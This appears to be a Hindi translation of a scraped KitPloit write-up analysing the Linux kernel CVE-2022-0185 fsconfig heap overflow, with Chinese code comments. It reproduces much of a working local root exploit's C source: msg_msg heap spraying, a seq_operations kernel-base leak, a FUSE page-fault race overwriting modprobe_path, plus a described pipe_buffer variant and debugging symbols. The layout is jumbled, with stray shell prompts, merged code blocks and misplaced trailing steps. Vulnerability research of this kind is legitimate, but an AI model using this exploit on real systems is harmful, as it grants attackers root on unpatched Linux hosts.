यहाँ exp को चलाने के लिए उपयुक्त वातावरण तैयार नहीं हो पाया (मैं कमज़ोर हूँ), सीधे apt से इंस्टॉल किए गए 5.11.0-44-generic के vmlinuz को कॉपी करके उपयोग किया गया। qemu से बूट करने पर यह काम करने लगा। शायद cap भाग या fuse सही से कॉन्फ़िगर नहीं थे, जिसके कारण गैर-रूट उपयोगकर्ता से exp चलाने में कुछ समस्याएँ थीं। इसलिए qemu डिबगिंग के दौरान exp को रूट उपयोगकर्ता से चलाया गया, क्योंकि exp कर्नेल के modprobe_path को संशोधित करता है।

exp प्राप्त करने के लिए सीधे लेखक के github पर जाएँ। इसे ubuntu20 वातावरण में कंपाइल किया जा सकता है। मैंने यहाँ केवल विश्लेषण, डिबगिंग और सत्यापन किया है।

exp संरचना:

CVE-2022-0185-master\exploit_fuse.c : 258 : main```c int main(int argc, char **argv, char **envp) { ··· ···

root@kitploit:~
if (!fork()) //子进程注册一个fuse 文件系统,用于提供userfaulted
{
    fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}

sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase)  //泄露kernel 基址部分
{
    kbase = do_leak();
}
··· ···

spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1) 
{
    do_win(); //任意地址写修改modprobe_path完成利用部分
    ··· ···
}

··· ···

}

root@kitploit:~
exp मुख्य रूप से दो भागों में विभाजित है: लीक और मनमाना पता लिखना।

#### kernel आधार पता लीक करना

मेरे विचार में, इस exp का लीक भाग बहुत चतुराई से काम करता है: पहले अप्रयुक्त भाग को ओवरफ्लो करके ओवरराइट करें, फिर उस संरचना (structure) को आवंटित करें जिसे ओवरफ्लो करके ओवरराइट करना है, ताकि लक्ष्य के अवांछित भागों को नुकसान न पहुंचे, और फिर लक्ष्य को सटीक रूप से ओवरराइट करने के लिए ओवरफ्लो जारी रखें।

मुख्य रूप से `do_leak` फ़ंक्शन

CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    // spray msg_msg
    for (int i = 0; i < 8; i++)   //[1]先申请8个独立的消息队列,每个里面存放一条消息
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0); 
    }/*消息大小 0x1018-0x30,实际会分成两段
      *第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
      *第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("fsopen: Remember to unshare");
            exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++)  
    {  //[2]溢出准备,多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    
    // overflow, hopefully causes an OOB read on a potential msg_msg object below
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    /*[3]溢出部分,输入长度21,由于每次溢出会自动加上",="所以实际23,再加上之前长度4095总共溢出22
     *这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/

    // spray more msg_msg
    for (int i = 8; i < 0x10; i++) 
    {//[4]继续msgsnd,申请msg_msg 结构体,大概率申请到将legacy_data后面的地方
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }//msg_msg 头会覆盖刚刚溢出的内容

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    /*[5]继续溢出,legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间,m_ts 位之前
     *刚好覆盖m_ts,修改msg 的大小*/

    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) 
    {//[6]上面提到过的泄露地址用结构体,多次打开stat,喷射多个0x20的seq_operations结构体
        open("/proc/self/stat", O_RDONLY);
    }//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面

    size = 0x1060;//接受消息的长度
    puts("[*] Attempting to recieve corrupted size and leak data");

    // go through all targets qids and check if we hopefully get a leak
    for (int j = 0; j < 0x10; j++) 
    {//[7]接受消息,某一个消息的长度被改大,则会越界读到后面的seq_operations结构体
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);//泄露成功
        if (kbase) 
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}
  1. यहाँ ओवरफ्लो ऑपरेशन से पहले और बाद में msgsnd का उपयोग करके kmalloc हीप ब्लॉक्स का एक भाग व्यवस्थित किया जाता है, जिसमें विशिष्ट संदेश लंबाई 0x1018-0x30 = 0xfe8 होती है। तो संदेश संरचना के अनुसार, इसे दो भागों 0xfd और 0x18 में विभाजित किया जाता है:
  • पहला भाग: संदेश हेडर msg_msg 0x30 और संदेश 0xfd कुल 0x1000, kmalloc-4k के अंतर्गत आता है।
  • दूसरा भाग: संदेश खंड हेडर msg_msgseg 0x8 और संदेश 0x18 कुल 0x20, kmalloc-32 के अंतर्गत आता है।
  1. ओवरफ्लो तैयार करने के लिए, fsconfig का उपयोग करके legacy_data (आवंटन लंबाई 4096, kmalloc-4k के अंतर्गत) की लंबाई को 4095 तक भरा जाता है। यहां 33 'A' का उपयोग किया जाता है, लेकिन वास्तव में हर बार ",=" दो वर्ण भी जुड़ते हैं, इसलिए प्रभावी रूप से प्रति बार 35 वर्ण भरे जाते हैं और 117 बार भरने पर ठीक 4095 हो जाता है।

    पृष्ठ प्रारंभ पता और पृष्ठ अंत:

    image-20220304094122226

  2. फिर 21 और वर्ण भरे जाते हैं, ",=" सहित कुल 23 वर्ण, यहां ओवरफ्लो होता है। चूंकि पहले 4095 तक भरा गया था, वास्तव में 22 वर्ण (यानी 0x16) ओवरफ्लो होते हैं, लेकिन सामान्य स्थिति में यह ओवरफ्लो उस मेमोरी में होता है जो अभी तक उपयोग (आवंटित) नहीं की गई है।

    image-20220304094225004

  3. फिर msgsnd जारी रखा जाता है, msg_msg संरचना आवंटित की जाती है (दो भागों में विभाजित होगी)। चूंकि पहले भाग की लंबाई kmalloc-4k है, इसलिए इसके legacy_data के बाद वाले स्थान पर आने की उच्च संभावना है, जो अभी ओवरफ्लो हुए भाग को कवर करेगा, हालांकि इससे कोई फर्क नहीं पड़ता।

    image-20220304094808536

चरण 2 से 6 तक हीप मेमोरी में परिवर्तन चित्र में दिखाया गया है, लाल तीर fsconfig में legacy_data + size पॉइंटर की ओर इशारा करता है:

image-20220304093434300

एड्रेस लिखकर प्रिविलेज एस्केलेशन

यह भाग अपेक्षाकृत सरल है। ऊपर बताया गया है कि msgsnd में copy_from_user को पेज फॉल्ट इंटरप्ट उत्पन्न करने दिया जाता है, जो हमारे पंजीकृत उपयोगकर्ता फ़ाइल सिस्टम fuse के हैंडलर फंक्शन में इंटरप्ट को संभालता है, और इस दौरान fsconfig का उपयोग करके ओवरफ्लो करके संदेश के दूसरे भाग को कवर किया जाता है।```c void do_win() { int size = 0x1000; char buffer[0x2000] = {0}; char pat[0x1000] = {0}; msg* message = (msg*)buffer; memset(buffer, 0x44, sizeof(buffer)); //[1]在0x1337000 mmap 一页 void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); uint64_t race_page = 0x1338000; msg *rooter = (msg *)(race_page-0x8); //后续关键消息开始设置在刚mmap 的页末尾 rooter->mtype = 1; size = 0x1010;

root@kitploit:~
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0); 
//[2]设定消息长度为0xfe的消息,会分成两段

puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0) 
{
        puts("Opening");
        exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}

puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
    perror("evil fd failed");
    exit(-1);
}
//[4]使用fuse 文件系统mmap 一页,在0x1338000,也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
    perror("mmap fail fuse 1");
    exit(-1);
}

pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
    perror("can't setup threads for race");
}
//[5]发送消息,消息开头在第一个mmap 页的末尾,会触发page fault,等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程,线程执行溢出操作,在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);

}

void *arb_write(void *args) {//[6]负责溢出的线程 uint64_t goal = modprobe_path - 8; char pat[0x1000] = {0}; memset(pat, 0x41, 29); char evil[0x20]; memcpy(evil, (void )&goal, 8); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); //将msg_msg 中的msg_msgseg * next指针覆盖为modprobe_path - 8 fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[] Done heap overflow"); write(fuse_pipes[1], "A", 1); }

int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {//[5]fuse文件系统的evil_read 直接将需要篡改的内容拼接到对应位置上。 // change to modprobe_path char signal; char evil_buffer[0x1000]; memset(evil_buffer, 0x43, sizeof(evil_buffer)); char *evil = modprobe_win; //char *modprobe_win = "/tmp/w"; memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));

root@kitploit:~
size_t len = 0x1000;

···

memcpy(buf, evil_buffer + offset, size); 

// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回,完成任意地址写

return size;

}

root@kitploit:~
1. 0x1337000 पर `mmap` एक पेज, पेज 1

2. संदेश की लंबाई 0x1010-0x30=0xfe0 सेट करें, ताकि संदेश को दो भागों में विभाजित करने की आवश्यकता हो।

3. `fsconfig` ओवरफ्लो से पहले भरने की तैयारी करता है, एक `kmalloc-4k` आवंटित करता है।

4. पहले से पंजीकृत fuse फ़ाइल सिस्टम का उपयोग करके 0x1338000 पर `mmap` एक पेज, पेज 2

5. संदेश भेजें, लंबाई 0xfe0, एक `kmalloc-4k` और एक `kmalloc-32` आवंटित करें। संदेश की शुरुआती स्थिति पेज 1 के अंत में है। इस समय, `msgsnd` के **अंदर का `copy_from_user` फ़ंक्शन, जब उपयोगकर्ता स्पेस से कर्नेल स्पेस में संदेश कॉपी करता है, तो पेज 2 पर कॉपी करते समय यह पेज फॉल्ट ट्रिगर करेगा और उपयोगकर्ता स्पेस के fuse फ़ाइल सिस्टम के `evil_read` फ़ंक्शन को कॉल करेगा**। यह फ़ंक्शन हमारे द्वारा निर्दिष्ट है, और हम जो सामग्री लिखना चाहते हैं उसे कर्नेल को देता है। और यह फ़ंक्शन नीचे दी गई प्रक्रिया के पूरा होने की प्रतीक्षा करेगा, तभी वापस आएगा।

6. इस समय एक नई प्रक्रिया शुरू करें, नई प्रक्रिया ओवरफ्लो ऑपरेशन पूरा करती है, ओवरफ्लो करके पीछे वाले संदेश हेडर `msg_msg` के अंदर `msg_msgseg * next` पॉइंटर को ओवरराइड करती है, जो दूसरे भाग के संदेश की ओर इशारा करता है, उसे `modprobe_path` की ओर इशारा करने के लिए बदल देती है। फिर `evil_read` फ़ंक्शन को पूर्ण सिग्नल भेजें।

7. `evil_read` वापस आता है, मनमाना पता लिखना पूरा करता है। `modprobe_path` को `"/tmp/w"` में बदल दिया जाता है

   ![image-20220304120016782](https://assets.kitploit.com/production/public/readmes/23851/82f415b1c760afd5364ee0bf049e9e8f73faae7ba4a30eac735b5f4f03019fa4.png)

आरेख:

![image-20220304120052081](https://assets.kitploit.com/production/public/readmes/23851/fd4ef7b7e641a222dd6ec8a97133b2aa86de37ac0a09c2d560f694d7774826fa.png)

चूंकि `modprobe_path` को संशोधित कर दिया गया है, हम मानते हैं कि विशेषाधिकार वृद्धि सफल हुई। बाद के exp का विशेषाधिकार वृद्धि ऑपरेशन `/bin/bash` में suid अनुमति जोड़कर पूरा किया जाता है। हालांकि, यह अब महत्वपूर्ण नहीं है।

![image-20220304120219927](https://assets.kitploit.com/production/public/readmes/23851/8feed8f8d70c44f9182a703e9d2904af9e7e2633453e6d121c871806637f7b7a.png)

### [नया]exp विश्लेषण (कृत्रिम गंदा पाइप सर्व-कार्यशील संस्करण)

से: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)

मुख्य विचार CVE-2022-0847 (गंदा पाइप) के सामने आने के बाद, यह पाया गया कि पाइप और splice में ऐसा एक तंत्र है:

1. पाइप पाइपलाइन में 16 कैश पेज होते हैं। हर बार जब पाइप में डेटा लिखा जाता है, तो यह पता लगाया जाता है कि वर्तमान में कितने पेज लिखे जा चुके हैं। यदि यह पेज पूरी तरह से नहीं लिखा गया है, तो यह इस पेज पर लिखना जारी रखने का प्रयास करेगा। लेकिन सभी पेजों पर लिखना जारी नहीं रखा जा सकता, उदाहरण के लिए नीचे दी गई स्थिति।
2. splice पाइप पाइपलाइन में फ़ाइल स्थानांतरित करने की अनुमति देता है। कार्यान्वयन विधि फ़ाइल के कैश पेज को सीधे पाइप के कैश पेज से बदलना है। इस प्रकार बदले गए फ़ाइल कैश पेज पर पाइप द्वारा लिखना जारी रखने की अनुमति नहीं है।
3. संस्करण 5.8 के बाद, `pipe_buffer->flags` के माध्यम से यह निर्धारित किया जाता है कि पेज पर लिखना जारी रखने की अनुमति है या नहीं। संस्करण 5.8 से पहले, `pipe_buffer->ops` के `anon_pipe_buf_ops` होने के आधार पर यह निर्धारित किया जाता था कि लिखना जारी रखा जा सकता है या नहीं।

तो गंदे पाइप भेद्यता का कारण `pipe_buffer->flags` का प्रारंभ न होना है, जिसके परिणामस्वरूप splice द्वारा स्थानांतरित फ़ाइल कैश पेज पर लिखना जारी रखा जा सकता है। हालांकि इसे ठीक कर दिया गया है, लेकिन विचार करें कि यदि हम जानबूझकर flags को बदल सकते हैं, तो क्या हम "कृत्रिम गंदा पाइप" बना सकते हैं? उत्तर हां है। यह जानना महत्वपूर्ण है कि गंदा पाइप एक ऐसा भेद्यता है जिसका उपयोग करने के लिए किसी पते के रिसाव की आवश्यकता नहीं है। और `pipe_buffer` कर्नेल भेद्यता दोहन में आमतौर पर इस्तेमाल किया जाने वाला पीड़ित संरचना है। इसके flags या ops को बदलना बहुत आसान है। नीचे कृत्रिम गंदा पाइप के माध्यम से सर्व-कार्यशील exp के विचार का परिचय दिया गया है:

पहले, कई संदेश कतारों को स्प्रे करें, प्रत्येक कतार में एक 0x1400 का msg_msg होता है। इस प्रकार msg दो भागों में विभाजित हो जाएगा, एक भाग 0x1000 और दूसरा भाग 0x4000। फिर, सीमा से बाहर लिखने का उपयोग करके मुख्य संदेश भाग के m_ts बिट को 0x1800 में संशोधित करें:

![image-20220524162516400](https://assets.kitploit.com/production/public/readmes/23851/8f7a4445daae2ccbe7f813041c77de1cbffe97a9b6d6958902153a6a76f60043.png)

इस प्रकार, **सफलतापूर्वक 0x1800 लंबाई पढ़ने वाले msgid** को ढूंढकर, हम यह निर्धारित कर सकते हैं कि उस कतार का msg_msg ओवरफ्लो हो गया है। और सीमा से बाहर पढ़ने के माध्यम से यह भी निर्धारित करें कि पीछे एक और संदेश का भाग 2 (sec2) है। फिर इसके अलावा अन्य सभी msg कतारों को मुक्त कर दें:

![image-20220524162832450](https://assets.kitploit.com/production/public/readmes/23851/815b76bfabcd1451b26e7276fffd367c213a1f55c1ee47718e9d5a1f7bab2a04.png)

फिर, कई संदेश कतारों को स्प्रे करें, प्रत्येक कतार में 16 (या कुछ) 0x400 के msg_msg होते हैं। इस प्रकार, आदर्श स्थिति में, किसी एक कतार का कोई एक संदेश उपरोक्त आरेख में डैश लाइन वाले फ्री हुए 0x400 स्लैब पर कब्जा कर लेगा, जिससे निम्नलिखित लेआउट बनेगा। msg कतार X का 5वां msg उस स्लैब को प्राप्त करता है:

![image-20220524164354436](https://assets.kitploit.com/production/public/readmes/23851/00a52c4c473964335ca823f880581a8b46dddbf734c232f6460cb002a15009ac.png)

फिर, msg1 के सीमा से बाहर पढ़ने के माध्यम से, msg5 का prev मान प्राप्त करें, जो msg4 का पता है। msg में हमारे द्वारा व्यवस्थित सामग्री के माध्यम से, msq कतार संख्या X और msg का कतार में क्रमांक 5 निर्धारित किया जा सकता है।

इसके बाद, msg6 और msg6 के बाद के सभी msg को मुक्त करें। फिर, कतार X में एक नया संदेश जोड़ें। नया संदेश अभी भी msg5 के पीछे जुड़ेगा, यानी नया msg6, newmsg6। newmsg6 में (पते के अंत में जहां 0x00 नहीं है) एक नकली msg हेडर, fake head रखें, जो msg4 की ओर इशारा करता है, जिससे निम्नलिखित बने:

![image-20220524164937406](https://assets.kitploit.com/production/public/readmes/23851/896247923a72798b59b91bc90cde45d44c6cd5e5c0001e654e83533260e619d8.png)

फिर, एक बार और सीमा से बाहर पढ़ें, newmsg6 में fake head का पता रिकॉर्ड करें, जो सीमा से बाहर पढ़े गए msg5->next के मान में हमारे द्वारा व्यवस्थित ऑफ़सेट को जोड़ने के बराबर है:

![image-20220524165719754](https://assets.kitploit.com/production/public/readmes/23851/c9b397893438a567dcb586b9c524ab9bffb2a7df6cdc3b26d55424ba68d81581.png)

फिर, दो-दो, तीन-तीन, चार-चार, एक बार फिर से करें। फिर से सीमा से बाहर लिखने का प्रबंध करें, इस बार msg हेडर के next पॉइंटर को ओवरराइड करके newmsg6 में fakeHead की ओर इशारा करें। अभी-अभी पता प्राप्त हुआ है:

![image-20220524171400377](https://assets.kitploit.com/production/public/readmes/23851/932e25844488038a248cc42c13bf35e60a8e85d539283cc6ad95395b734415cd.png)

सीधे msgX के माध्यम से msg4 को मुक्त करें। फिर, sk_buff स्प्रे करके उस मुक्त हुए msg4 पर कब्जा करें, और next और prev को अपनी ओर इशारा करने के लिए नकली बनाएं (पता पहले से ज्ञात है), जिसका उपयोग बाद में दूसरी बार मुक्त करने के लिए msg के unlink को बायपास करने के लिए किया जाएगा:

![image-20220524171449841](https://assets.kitploit.com/production/public/readmes/23851/a67430472b9b0476f86a210d671450fc3bd81529971dd8b3eea38c6705dc134e.png)

फिर, newmsg1 इस कतार का उपयोग करके एक बार msg4 को मुक्त करें। फिर, pipe_buffer का उपयोग करके फिर से उस पर कब्जा करें, ताकि sk_buff और pipe_buffer एक ही क्षेत्र पर कब्जा कर लें, जिससे निम्नलिखित स्थिति बने:

![image-20220524172342828](https://assets.kitploit.com/production/public/readmes/23851/3eff50c82acceb7a6daa079fe183611a131cd4212da941eaef09551380c5bbbc.png)

बाद के संचालन सीधे "[विजय समीकरण](https://blog.csdn.net/Breeze_CAT/article/details/124887764)" के उत्तरार्ध का संदर्भ लें। exp: https://github.com/veritas501/CVE-2022-0185-PipeVersion

![image-20220524180848317](https://assets.kitploit.com/production/public/readmes/23851/be1db757bd7c73f8f8d56e8ec7c0399e92c69b5a27fe7b945ae634a54ee7c707.png)

## डिबगिंग टिप्स

संबंधित प्रतीक:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv

ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path

सशर्त ब्रेकपॉइंट``` ignore 1 117 #跳过断点1 117次,用来断正好溢出的fsconfig

root@kitploit:~
## संदर्भ

github:[Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)

विवरण:https://www.willsroot.io/2022/01/cve-2022-0185.html

veritas501: [CVE-2022-0185 विश्लेषण और शोषण तथा पाइप नए प्रिमिटिव पर विचार और अभ्यास](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)
टूल डाउनलोड करें
  • फिर से fsconfig को कॉल करके ओवरफ्लो किया जाता है, यही कारण है कि ओवरफ्लो को दो बार में विभाजित करना आवश्यक है। पिछले ओवरफ्लो (22 वर्ण) का उद्देश्य केवल पॉइंटर को msg_msg हेडर में m_ts (जो msg के आकार को दर्शाता है) फ़ील्ड के सामने ले जाना था। अब फिर से ओवरफ्लो करने पर, क्योंकि आगे ",=" दो वर्ण जुड़ते हैं, यह ठीक msg_msg हेडर में m_ts को कवर करके msg के आकार को बदल सकता है।

    image-20220304094928314

  • seq_operations संरचनाओं का एक समूह स्प्रे किया जाता है, जो kmalloc-32 के अंतर्गत आता है, इसलिए इसके संदेश के दूसरे भाग के पीछे आने की उच्च संभावना है।

    image-20220304095339445

  • अब संदेश प्राप्त किया जाता है, एक संदेश का आकार हमारे ओवरफ्लो द्वारा बदल दिया गया है, इसलिए पढ़ने पर सीमा से बाहर जाकर पीछे के seq_operations संरचना तक पहुंच जाता है, जिससे लीक पूरा होता है।